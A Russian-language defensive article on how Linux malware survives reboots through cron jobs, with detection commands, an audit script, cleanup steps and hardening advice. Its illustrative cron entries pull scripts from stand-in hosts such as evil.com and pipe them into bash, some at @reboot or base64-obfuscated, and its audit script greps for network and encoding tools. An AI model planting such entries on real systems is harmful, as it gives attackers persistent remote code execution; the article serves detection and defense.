Почему вредоносное ПО в Linux возвращается после перезагрузки: закрепление через cron

2025-12-18 437 комментарии
Вредоносное ПО в Linux часто использует запланированные задания cron для закрепления в системе. Такая техника позволяет переживать перезагрузки и автоматическую очистку. В статье разобрано, как это работает, как выявить угрозу и защититься

Вы обнаружили на своём Linux-сервере вредоносное ПО. Удалили его. Проблема решена, правда?

Нет.

Через несколько минут оно снова появляется. Вы удаляете его ещё раз — оно возвращается. Вы перезагружаете систему. Однако после перезагрузки зловред по-прежнему активен.

Добро пожаловать в мир Закрепление через cron (Cron Persistence, «закрепление через запланированные задания cron») — одного из старейших трюков в арсенале Linux-вредоносов. Многие серверы на Linux до сих пор становятся его жертвами. Более того, исследователи безопасности отмечают, что закрепление через cron входит в десятку наиболее распространённых техник, применяемых злоумышленниками в атаках на Linux.

В этой статье (по материалам OSTechNix) мы разберём, что такое «Закрепление через cron», как обнаружить подобное закрепление, как безопасно удалить вредоносные cron-задания и как предотвратить будущие атаки.

Содержание

Что такое «Закрепление через cron»?

«Закрепление через cron» (закрепление через планировщик cron) — это техника, при которой злоумышленники создают плановые задания cron для повторного запуска вредоносных команд. Такие задания могут выполняться каждую минуту, каждый час или при старте системы. Поскольку cron запускает задачи автоматически, вредоносное ПО переживает перезагрузки и даже удаление его файлов вручную.

Службы кибербезопасности во всём мире считают эту методику одним из наиболее надёжных способов закрепления в Linux-системах.

MITRE ATT&CK

Техника «Закрепления через cron» официально задокументирована в базе MITRE ATT&CK под индексом T1053.003. В MITRE ATT&CK собираются и классифицируются реальные методы атак, используемые продвинутыми хакерскими группировками (APT) и киберпреступниками по всему миру.

Группировки, известные применением «Закрепления через cron»:

  • APT5 — китайская хакерская группа, атакующая телекоммуникационный сектор.
  • Rocke — группа, специализирующаяся на скрытом майнинге криптовалют.
  • Anchor_DNS — вариация вредоносного ПО TrickBot, использующая DNS-каналы.
  • ESXiArgs — вымогательское ПО, нацеленное на серверы VMware ESXi.

Где злоумышленники используют cron:

Исследователи фиксировали применение «Закрепления через cron» практически везде, где работает Linux, в том числе на:

  • облачных серверах (AWS EC2, Azure VM, Google Compute Engine);
  • внутри контейнеров (Docker, Kubernetes);
  • настольных дистрибутивах Linux (Ubuntu, Fedora, Arch);
  • IoT-устройствах (роутеры, камеры, NAS-хранилища);
  • взломанных серверах (веб-серверах, СУБД и др.).

Проще говоря, где бы ни работал Linux, злоумышленники стараются использовать cron для закрепления своего присутствия.

Что такое Cron?

Cron — это встроенный в Linux и Unix демон-планировщик заданий. Он автоматически выполняет команды по расписанию, заданному администратором. Системные администраторы активно используют cron для автоматизации рутинных задач, например:

  • ночное резервное копирование баз данных;
  • еженедельная очистка временных файлов;
  • ежедневная проверка доступных обновлений;
  • запуск скриптов обслуживания по расписанию;
  • ротация и очистка лог-файлов.

Проще говоря, cron берёт на себя выполнение повторяющихся задач, избавляя администратора от ручной рутины. Это чрезвычайно полезный инструмент автоматизации системы.

Почему вредоносное ПО в Linux использует Cron?

Атакующие любят cron ровно по тем же причинам, что и администраторы. После взлома системы они просто добавляют своё расписание задач. Их вредонос будет запускаться автоматически — каждую минуту, каждый час, даже после того как вы попытаетесь её удалить.

Злоумышленники предпочитают cron-задания по нескольким причинам:

  • Cron установлен по умолчанию почти на всех системах Linux.
  • Плановые задания выглядят легитимно и сливаются с обычной административной активностью.
  • Cron не требует участия пользователя — задачи выполняются в фоне.
  • Cron-задача может сама восстанавливать вредоносное ПО при удалении.

Благодаря этому приёму вредоносное ПО через cron успешно работает на серверах, десктопах, в контейнерах и облачных инстансах.

Почему метод «Закрепления через cron» так эффективен

Метод «закрепления через cron» настолько действенен, потому что он:

  • Переживает перезагрузку — вредонос автоматически стартует при каждой загрузке системы.
  • Самовосстанавливается — если файлы вредоноса удалить, через пару минут cron скачает и запустит их заново.
  • Маскируется под норму — cron является легитимным сервисом, поэтому запись в cron не сразу вызывает подозрения.
  • Может прятаться в разных местах — у атакующих множество каталогов, куда можно скрытно добавить своё cron-задание.
  • Часто не проверяется — многие администраторы редко проводят аудит конфигурации cron.

Как происходит атака с использованием «Закрепления через cron»

Формат задания cron очень прост. Например:

* * * * * command_to_execute
| | | | |
| | | | +--- Day of week (0-6, Sunday to Saturday)
| | | +----- Month (1-12)
| | +------- Day of month (1-31)
| +--------- Hour (0-23)
+----------- Minute (0-59)

Как видно, пять звёздочек задают расписание (минуту, час, день, месяц, день недели), после которых пишется сама команда. Этой простотой и пользуются злоумышленники.

Цепочка атаки

Как же злоумышленникам удаётся постоянно возвращать вредоносное ПО в систему? Всё просто: получив доступ, хакер добавляет всего одну строку в настройки cron. Эта строка указывает планировщику скачивать и запускать вредонос по расписанию.

Пример вредоносной cron-записи

Например, атакующий может добавить в cron следующую команду:

* * * * * curl http://evil.com/malware.sh | bash

Каждый символ * здесь означает «каждую единицу времени» (каждую минуту каждого часа, дня и т.д.), так что эта команда будет выполняться каждую минуту. В приведённом случае команда curl скачивает скрипт с сервера злоумышленника, а конструкция | bash сразу передаёт его на выполнение оболочке. Таким образом, каждые 60 секунд на сервер загружается и запускается свежая копия вредоносного кода. Даже если вы удалите его файлы, через минуту cron опять их вернёт.

Бесконечный цикл очистки

Представьте такую ситуацию:

  • Вы замечаете странное поведение сервера (высокая нагрузка CPU, неизвестные процессы).
  • Вы находите на диске вредоносные файлы.
  • Вы удаляете эти файлы.
  • Через минуту они загадочным образом появляются снова.
  • Вы в замешательстве и повторно стираете подозрительные файлы.
  • Они вновь возвращаются.
  • Вы перезагружаете сервер, думая, что это решит проблему.
  • Вредонос возвращается сразу после загрузки системы.

Почему так происходит? Потому что в системе всё ещё осталась cron-задача, которую вы не удалили. Она переустанавливает вредонос независимо от ваших действий. Пока вы не уберёте саму запись в cron, вы застрянете в бесконечном цикле очистки.

Типичные вредоносные шаблоны cron

  • Запуск вредоносного кода каждую минуту:

* * * * * curl http://malicious-website/payload.sh | bash
  • Запуск вредоноса при каждой перезагрузке системы:

@reboot /tmp/.hidden/payload
  • Использование обфускации (маскировки):

* * * * * echo "YmFzaCAuLi4=" | base64 -d | bash

В подобных cron-записях вредоносное ПО зачастую заново загружается из сети, если вы обнаружите и сотрёте исходные файлы.

Где злоумышленники прячут cron-задания

Атакующие обычно не ограничиваются одним местом. Они могут прописать вредоносные cron-задачи в нескольких разных локациях по системе. Поэтому для успешного обнаружения и очистки важно знать все возможные точки, где может скрываться «закрепление через cron».

1. Пользовательские crontab-задания

Где: в индивидуальных конфигурациях пользователей.

Как посмотреть: crontab -l (для текущего пользователя).

Каждый пользователь на системе может иметь свой собственный cron-планировщик (crontab). Злоумышленники часто добавляют вредоносные записи именно туда, потому что многие администраторы их никогда не проверяют. Взломав учётную запись пользователя (не обязательно root), атака может незаметно прописать cron-задание и тем самым обеспечить автозапуск вредоносного ПО.

Типичные расположения файлов crontab для пользователей:

  • /var/spool/cron/crontabs/<имя_пользователя>
  • /var/spool/cron/<имя_пользователя>

2. Системные директории cron

В Linux имеется несколько стандартных директорий для системных (глобальных) cron-заданий:

Директория Выполнение по расписанию Уровень риска
/etc/cron.d/ Индивидуально задано Высокий
/etc/cron.hourly/ Каждый час Средний
/etc/cron.daily/ Каждый день Средний
/etc/cron.weekly/ Каждую неделю Низкий
/etc/cron.monthly/ Каждый месяц Низкий
/etc/crontab Глобальный системный файл Высокий

Совет по безопасности: скрипты в этих каталогах выполняются с системными привилегиями, поэтому они представляют собой привлекательную цель для атакующего.

3. Автозапуск при загрузке (@reboot)

Отдельно стоит упомянуть специальную директиву cron @reboot. Она означает запуск команды при каждой загрузке системы:

@reboot curl http://evilwebsite.com/backdoor.sh | bash

Сколько бы раз вы ни перегружали сервер, такая запись снова запустит вредонос при старте. Это особенно опасно, ведь техника @reboot переживает даже агрессивную очистку системы.

4. Неочевидные и скрытые места

Продвинутые атакующие могут применять и другие методы:

  • Директории Anacron: /var/spool/anacron/ (задания, выполняющиеся с определённой периодичностью даже при выключенном ПК).
  • Таймеры пользователя systemd: ~/.config/systemd/user/ (могут запускаться подобно cron).
  • Модифицированные системные сервисы, выполняющие периодические задачи.

Как обнаружить «Закрепление через cron» в Linux

Теперь перейдём к выявлению проблемы. Чтобы не пропустить угрозу, необходимо регулярно проверять систему на наличие подозрительных cron-записей.

Быстрая проверка cron

Вот несколько полезных команд для аудита cron:

  • Просмотреть cron текущего пользователя:

crontab -l
  • Посмотреть все crontab-файлы пользователей:

sudo ls -la /var/spool/cron/crontabs/
  • Проверить cron каждого пользователя (перебором):

for user in $(cut -f1 -d: /etc/passwd); do
  echo "=== Cron jobs for $user ==="
  sudo crontab -u $user -l 2>/dev/null || echo "No crontab"
done
  • Просканировать системные директории cron:

sudo ls -la /etc/cron.*
sudo cat /etc/crontab
sudo ls -la /etc/cron.d/
sudo ls -la /etc/cron.hourly/
sudo ls -la /etc/cron.daily/

Анализ логов выполнения cron

Linux фиксирует каждое срабатывание cron-задания в журналах. Эти логи стоит проверять на наличие подозрительной активности.

На Red Hat/CentOS/Fedora записи cron ведутся в отдельном файле /var/log/cron. Проверить его можно так:

sudo grep CRON /var/log/cron
sudo grep CRON /var/log/cron | grep -E "(curl|wget|bash)"

На Ubuntu/Debian соответствующие сообщения попадают в системный лог /var/log/syslog:

sudo grep CRON /var/log/syslog
sudo grep CRON /var/log/syslog | grep -E "(curl|wget|bash)"

Кроме того, можно просмотреть последние события cron через журнал systemd, например за последний час:

journalctl -u cron --since "1 hour ago"

Тревожные признаки в cron-записях

При изучении cron-таблиц обратите внимание на следующие подозрительные признаки:

Сетевые команды

Любое cron-задание, использующее утилиты вроде curl, wget или nc, заслуживает немедленного внимания. Эти инструменты скачивают файлы или открывают сетевые соединения, что нехарактерно для обычных задач cron.

Пример подозрительной записи:

* * * * * wget -O - http://malicious.com/script | sh

Base64-кодирование

Атакующие часто шифруют свои команды в base64, чтобы скрыть их суть. Если вы видите длинные непонятные строки, попробуйте расшифровать их:

echo "base64_строка" | base64 -d

Пример обфусцированной команды:

* * * * * echo "Y3VybCBhLmV2aWwuc2gK" | base64 -d | bash

Неизвестные адреса или домены

Проверьте все внешние IP-адреса или домены, упоминаемые в cron-записях. Можно использовать утилиты:

whois 
dig <домен>
host <домен>

Временные папки

Если скрипт запускается из каталога /tmp, /var/tmp или спрятан в скрытом пути (например, .hidden/), это крайне подозрительно.

Примеры опасных путей:

* * * * * /tmp/.hidden/miner
* * * * * bash /var/tmp/update.sh

Чрезмерная частота

Задания, выполняющиеся каждую минуту (* * * * *), почти всегда вызывают вопросы. Спросите себя: действительно ли легитимной задаче требуется запуск 1440 раз в сутки?

Странные символы

Обратите внимание на:

  • Символы возврата каретки (например, ^M в конце строк).
  • Необычные Unicode-символы.
  • Чрезмерное использование специальных операторов (;, &, | и др.).

Скрипт для автоматического поиска

При необходимости можно использовать простой bash-скрипт для автоматической проверки cron на известные подозрительные шаблоны:

#!/bin/bash
# Cron Security Auditor

echo "=== Checking for suspicious cron jobs ==="

# Проверка всех пользователей
for user in $(cut -f1 -d: /etc/passwd); do
  crontab -u $user -l 2>/dev/null | grep -E '(curl|wget|nc|base64|eval|exec)' \
    && echo "Обнаружена подозрительная запись у пользователя: $user"
done

# Проверка системных cron-директорий
find /etc/cron.* -type f -exec grep -H -E '(curl|wget|nc|base64)' {} \;

# Поиск заданий, запускающихся каждую минуту
grep -r '^\* \* \* \* \*' /etc/cron* /var/spool/cron 2>/dev/null

echo "=== Audit complete ==="

Важно: данный скрипт не удаляет найденные задания, а только выводит подозрительные. Каждую найденную запись администратор должен анализировать вручную!

Если скрипт что-то нашёл, спросите себя:

  • Знакома ли вам эта cron-задача?
  • Почему она должна выполняться каждую минуту?
  • Зачем она загружает код из сети?
  • Почему запускается из каталога /tmp?
  • Документирована ли где-то её необходимость?

Если на эти вопросы нет ясных ответов, скорее всего задание вредоносное.

Однако учтите: иногда странная cron-запись может оказаться легитимной (например, частью нестандартного ПО). Не удаляйте всё подряд бездумно — сначала убедитесь в зловредности.

Перед тем как удалять подозрительное cron-задание, обязательно:

  • Сохраните где-нибудь его текст (скопируйте строку).
  • Запишите путь к файлу или скрипту, который оно запускает.
  • Проверьте временные метки этого файла (время создания/изменения).
  • Посмотрите активные сетевые подключения системы.
  • Просмотрите историю команд (history) на наличие следов этой задачи.

Нередко «закрепление через cron» сочетается с другими методами закрепления в системе, так что поиск стоит продолжить и за пределами cron.

Пошаговая очистка системы от вредоносных cron-заданий

Допустим, вы обнаружили в cron подозрительную запись. Ниже приведён систематический процесс, как правильно её удалить и не дать вредоносному ПО вернуться.

Шаг 1: Зафиксировать текущее состояние

Прежде чем что-либо менять, выполните резервное копирование cron-конфигураций и соберите всю информацию:

  • Сделайте бэкап всех cron-настроек:

sudo tar -czf cron-backup-$(date +%Y%m%d).tar.gz /var/spool/cron /etc/cron* /etc/crontab
  • Сохраните текущее содержимое crontab:

crontab -l > my-crontab-backup.txt
sudo cat /etc/crontab > system-crontab-backup.txt

Шаг 2: Выявить злонамеренную запись

Тщательно изучите найденное cron-задание и запишите для себя:

  • От имени какого пользователя оно выполняется.
  • Какую команду запускает.
  • Как часто срабатывает.
  • Какие файлы или скрипты с ним связаны (например, что скачивает или какой путь указан).

Шаг 3: Удалить пользовательский crontab

Если вредоносное задание было в crontab конкретного пользователя, необходимо его оттуда убрать.

  • Полностью удалить свой crontab можно командой:

crontab -r
  • Удалить crontab другого пользователя:

sudo crontab -r -u имя_пользователя
  • Чтобы отредактировать crontab и убрать отдельные строки:

crontab -e

(Найдите и сотрите вредоносные строки, затем сохраните файл.)

Альтернативный способ (не входя в редактор):

# Показать crontab с номерами строк
crontab -l | cat -n

# Удалить, например, 27-ю строку
crontab -l | sed '27d' | crontab -

Шаг 4: Очистить системные директории cron

Удалите вредоносные файлы, оказавшиеся в системных cron-директориях:

sudo rm /etc/cron.d/suspicious-file
sudo rm /etc/cron.hourly/malicious-script
sudo rm /etc/cron.daily/backdoor.sh

Проверьте содержимое глобального файла /etc/crontab:

sudo vi /etc/crontab

Удалите из него все подозрительные строки вручную и сохраните изменения.

Шаг 5: Удалить сами файлы вредоноса

Теперь, когда cron-задача больше не сможет заново скачать вредоносное ПО, нужно удалить сам вредоносный файл (или файлы):

# Пример: найти и удалить исполняемый файл вредоносного ПО
sudo rm /tmp/malicious.sh
sudo rm /var/tmp/.hidden-miner
sudo find / -name "suspicious-process" -delete

Шаг 6: Проверить другие механизмы закрепления

Опытные злоумышленники редко полагаются только на один метод автозапуска. После удаления cron-записи стоит убедиться, что в системе не осталось других «точек закрепления»:

  • Проверьте сервисы systemd:

systemctl list-units --type=service --all | grep -v "&񗳿"
systemctl status suspicious-service
  • Проверьте таймеры systemd:

systemctl list-timers --all
  • Проверьте автозапуск скриптов:

ls -la /etc/init.d/
ls -la /etc/rc*.d/
ls -la /etc/profile.d/
  • Проверьте ключи авторизации SSH:

cat ~/.ssh/authorized_keys
sudo cat /root/.ssh/authorized_keys

Шаг 7: Убедиться, что вредоносное ПО не вернулось

Перезапустите службу cron на всякий случай:

sudo systemctl restart cron
sudo systemctl status cron

Теперь понаблюдайте за системой хотя бы в течение суток:

  • Следите, не появился ли процесс вредоноса снова (замените имя процесса на актуальное):

watch -n 60 'ps aux | grep suspicious-process'
  • Мониторьте лог cron на новые записи:

tail -f /var/log/syslog | grep CRON

Шаг 8: Провести полный аудит безопасности

После инцидента необходимо проверить, не осталось ли у злоумышленников других лазеек, и усилить защиту:

  • Смените все пароли (особенно учётных записей, под которыми работал вредонос):

passwd
sudo passwd root
  • Проверьте систему на руткиты: установите и запустите утилиты вроде rkhunter, chkrootkit:

sudo apt install rkhunter chkrootkit -y
sudo rkhunter --check
sudo chkrootkit
  • Проанализируйте журналы авторизаций на предмет подозрительных попыток доступа:

sudo grep -i "failed\|failure" /var/log/auth.log
sudo last -a | head -20

Лучшие практики предотвращения атак через cron

Гораздо проще не допустить, чем потом чистить. Вот несколько рекомендаций, которые помогут защитить систему от «закрепления через cron»:

1. Регулярные аудиты безопасности

Добавьте проверку cron в список своих плановых задач. Например, создайте скрипт еженедельного аудита cron:

#!/bin/bash
# weekly-cron-audit.sh
/usr/local/bin/cron-audit.sh | mail -s "Weekly Cron Audit" admin@example.com

и запланируйте его запуск через cron (иронично, но эффективно):

0 9 * * 1 /usr/local/bin/weekly-cron-audit.sh

2. Контроль целостности файлов

Используйте инструменты мониторинга целостности для важных директорий. Например, AIDE (Advanced Intrusion Detection Environment):

sudo apt install aide -y        # установка AIDE
sudo aideinit                   # инициализация базы данных
sudo vi /etc/aide/aide.conf     # настройка проверки

Добавьте в конфиг AIDE важные пути:

/etc/cron.d       R+b+sha256
/etc/cron.hourly  R+b+sha256
/etc/cron.daily   R+b+sha256
/var/spool/cron   R+b+sha256

После чего запустите проверку:

sudo aide --check

Альтернатива — Tripwire:

sudo apt install tripwire -y
sudo tripwire --init
sudo tripwire --check

3. Ограничение доступа к cron

Разрешите использование cron только определённым пользователям:

  • Создайте файл-список разрешённых:

sudo vi /etc/cron.allow
  • Впишите туда имена пользователей (по одному на строку), которым нужен cron (например, root, admin).

  • Запретите остальным, указав в /etc/cron.deny строку:

ALL

Настройте правильные права доступа на файлы cron:

sudo chmod 600 /etc/crontab
sudo chmod 700 /etc/cron.*
sudo chmod 600 /var/spool/cron/crontabs/*

4. Централизованный сбор логов

Направляйте логи cron на отдельный удалённый сервер — так злоумышленник не сможет подчистить их на самом атакованном хосте. Например, для Rsyslog:

# В файле /etc/rsyslog.conf добавьте:
cron.* @@logserver.example.com:514

# Перезапустите службу журналирования
sudo systemctl restart rsyslog

Можно настроить и передачу логов через journald:

sudo vi /etc/systemd/journal-remote.conf
# (сконфигурируйте отправку журналов на удалённый сервер)

5. Мониторинг безопасности

Установите и настройте инструменты для мониторинга системы и выявления угроз. Нет необходимости использовать их все сразу — выберите наиболее подходящие.

  • Lynis — аудитор безопасности:

sudo apt install lynis -y
sudo lynis audit system
sudo lynis show suggestions
  • OSQuery — инструмент для мониторинга:

sudo apt install osquery -y        # установка osquery
osqueryi "SELECT * FROM crontab;"  # запрос списка cron-заданий через osquery
  • Wazuh — платформа обнаружения атак. Установите агент Wazuh и подключите его согласно официальной инструкции.

# Install Wazuh agent (пример)
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | sudo apt-key add -

6. Минимальные привилегии

Настраивайте службы так, чтобы они не работали от имени root, если в этом нет острой необходимости. Создайте отдельных непривилегированных пользователей для сервисов:

sudo useradd -r -s /bin/false serviceuser

и укажите в unit-файлах systemd запуск от них (например, в /etc/systemd/system/<ваш_сервис>.service):

User=serviceuser
Group=serviceuser

7. Использование AppArmor/SELinux

Включите механизмы принудительного контроля доступа:

  • AppArmor (для Ubuntu/Debian):

sudo apt install apparmor apparmor-utils -y
sudo systemctl enable apparmor
sudo aa-enforce /etc/apparmor.d/*
  • SELinux (для RHEL/CentOS):

sudo setenforce 1
sudo vi /etc/selinux/config   # установите SELINUX=enforcing

8. Сегментация сети

Разделите свою инфраструктуру на сегменты:

  • Изолируйте критичные серверы от прямого доступа к интернету.
  • Используйте bastion-хосты для SSH-доступа извне.
  • Настройте firewall, запрещающий неавторизованные исходящие подключения.

9. Своевременное обновление

Включите автоматическую установку важных обновлений безопасности, чтобы закрывать известные уязвимости:

sudo apt install unattended-upgrades -y
sudo dpkg-reconfigure --priority=low unattended-upgrades

10. Мониторинг cron в реальном времени

Для особо важных систем имеет смысл наладить оперативный контроль за cron. Например, можно запустить скрипт-монитор, выводящий активные cron-задания и последние события:

#!/bin/bash
# cron-monitor.sh
while true; do
  clear
  echo "=== Активные cron-задания ==="
  for user in $(cut -f1 -d: /etc/passwd); do
    echo "User: $user"
    sudo crontab -u $user -l 2>/dev/null | grep -v "^#"
  done
  echo ""
  echo "=== Недавние выполнения cron ==="
  tail -20 /var/log/syslog | grep CRON
  sleep 60
done

Часто задаваемые вопросы

Это техника, при которой атакующие прописывают вредоносные команды в планировщик cron, благодаря чему вредоносное ПО регулярно запускается и переживает перезагрузки.
Да. Злоумышленники часто пишут cron-задачи, которые при каждом запуске скачивают и устанавливают вредонос, если обнаруживают, что его файлы были удалены.
Очень распространена. Многие криптомайнеры и ботнеты применяют cron для закрепления, поскольку это простой и надёжный способ.
Они могут создавать задания в системных cron-директориях, шифровать команды (например, base64-кодированием) или запускать скрипты из скрытых каталогов, чтобы затруднить их обнаружение.
Для рабочих серверов рекомендуется хотя бы раз в неделю проводить аудит cron. На критически важных узлах — ежедневно. Настройте автоматический мониторинг с оповещениями о любых изменениях в cron-конфигах.
Удалите запись из cron, затем ликвидируйте связанный с ней вредоносный файл, смените компрометированные учётные данные (пароли, ключи) и проверьте систему на наличие других механизмов закрепления.
Да, особо хитрые образцы способны заменять сам бинарник crontab на троянский, который не выводит вредоносные записи. Поэтому при подозрениях стоит проверять целостность системных утилит (например, с помощью debsums -c или rpm -V crontabs).
Cron — классический планировщик задач в Unix. Таймеры systemd появились позже, обладают расширенными возможностями, но по сути выполняют ту же роль. Злоумышленники всё чаще применяют оба механизма для закрепления в системе.

Можно, выполнив:

sudo systemctl stop cron && sudo systemctl disable cron

Однако помните: многие системные задачи (обновления, очистка и т.п.) полагаются на cron. Вместо полного отключения лучше ограничить к нему доступ через /etc/cron.allow и активно мониторить.

Реализуйте централизованный сбор логов на отдельный узел. Если логи пересылаются на внешний сервер, злоумышленник не сможет их стереть. Также применяйте контроль целостности логов с помощью средств типа OSSEC или Wazuh.
Не спешите удалять его немедленно. Сначала задокументируйте (сохраните строку), затем поищите информацию о команде в интернете, проверьте, не относится ли она к установленному ПО. Если по-прежнему есть сомнения — удалите запись и наблюдайте за системой. В корпоративной среде имеет смысл уведомить вашу команду безопасности.
Обычный антивирус сосредоточен на файлах вредоносов. Для Linux лучше использовать специализированные средства безопасности, такие как ClamAV (с пользовательскими сигнатурами), Rootkit Hunter, Lynis, Wazuh, OSSEC и т.д., которые могут выявлять подозрительные активности, включая cron.
Да, если внутри контейнера установлен cron, атака возможна тем же способом. Рекомендации: используйте по возможности минимальные образы без cron, запускайте контейнеры с доступом только для чтения к файловой системе и с жёсткими ограничениями ресурсов.

Краткие чек-листы

Распечатайте следующие списки и отмечайте пункты по мере выполнения, чтобы ничего не забыть.

1. Чек-лист обнаружения
2. Чек-лист профилактики
3. Чек-лист удаления

Заключение

Злоумышленники активно используют cron-задания, чтобы вернуть себе доступ к системе после перезагрузки или очистки.

Закрепление через cron (cron-персистентность) и сегодня остаётся популярной техникой, потому что она действительно эффективна. Всё, что нужно атакующему — одна строка в нужном cron-файле. После этого его вредоносное ПО переживёт перезагрузки, обновления и даже ручное удаление файлов.

Регулярно проверяя все cron-локации, анализируя логи и следуя тщательной процедуре очистки, вы можете обнаружить и удалить такие скрытые угрозы прежде, чем они нанесут серьёзный ущерб.

Ключевые выводы

  • «Закрепление через cron» признано техникой в MITRE ATT&CK (код T1053.003).
  • Для обнаружения таких угроз необходимо регулярно проверять все возможные места, где могут быть задания cron.
  • Удаление должно проводиться системно, иначе вредонос может вернуться.
  • Предотвращение — лучший подход: мониторинг, ограничение доступа и другие меры безопасности эффективнее, чем борьба с последствиями.

Так что возьмите за правило проверить свои cron-задания уже сегодня. Просмотрите содержимое соответствующих каталогов, изучите логи. Сделайте это частью регулярного обслуживания системы.

© .
Комментарии и отзывы

Нашли ошибку?

Новое на сайте